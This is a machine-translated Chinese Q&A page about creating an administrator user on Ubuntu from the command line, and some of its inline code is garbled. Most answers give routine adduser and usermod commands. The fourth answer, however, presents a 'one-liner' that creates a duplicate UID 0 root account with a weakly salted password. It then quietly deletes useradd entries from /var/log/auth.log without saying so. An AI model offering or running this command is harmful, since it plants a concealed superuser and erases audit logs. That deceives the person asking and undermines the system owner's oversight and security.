如何从命令行创建管理员用户?

如何从命令行创建管理员用户?

我想创建一个具有管理权限和所有常规设置(如主目录)的用户。

  1. 是否有一个adduser参数可以自动赋予用户sudo权力?
  2. 的默认设置是什么adduser?它会自动创建主目录和所有其他内容而无需额外参数吗?(即adduser <username>足够吗?)

答案1

使用以下命令将用户添加到sudo组:

adduser <username> sudo

(如果您运行的是 Ubuntu 11.10 或更早版本,请使用该admin组。)

默认值存储在 中/etc/adduser.conf,您可以使用

less /etc/adduser.conf

要创建用户并将其直接添加到sudo组,请使用

adduser <username> --group sudo

(再次强调,用于11.10 及更早admin版本sudo。)

查看您拥有的所有选项adduser 这里

答案2

要在 Ubuntu 12.04 及更高版本中创建具有管理员权限的新用户:

adduser <username> --ingroup sudo

在 Ubuntu 11.10 及更早版本中,请使用以下命令:

adduser <username> --group admin

修改现有用户(12.04 及更高版本):

adduser <username> --group sudo

或者

sudo usermod -aG sudo <username>

(或者对于 11.10 及更早版本sudo usermod -aG admin <username>:)

-a代表附加,而-G代表组。使用上面显示的-a和标志, (或)组将-Gsudoadmin添加到用户所属组的列表。

答案3

其他答案都是正确的,但您还询问了主目录。您还需要为新用户设置密码。

sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s设置用户的登录 shell
  • -m如果不存在则创建用户的主目录: /home/*new-admin-username*
  • -g将用户添加到 sudo 组,以便他们拥有管理员权限(>11.10)

创建后,为用户添加密码:

sudo passwd *new-admin-username*

登录到用户查看一切是否正常:

su *new-admin-username*
cd ~/
pwd

答案4

这是一行代码,它会创建一个新的 root 用户。您必须更改一些参数。

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

最好的,

相关内容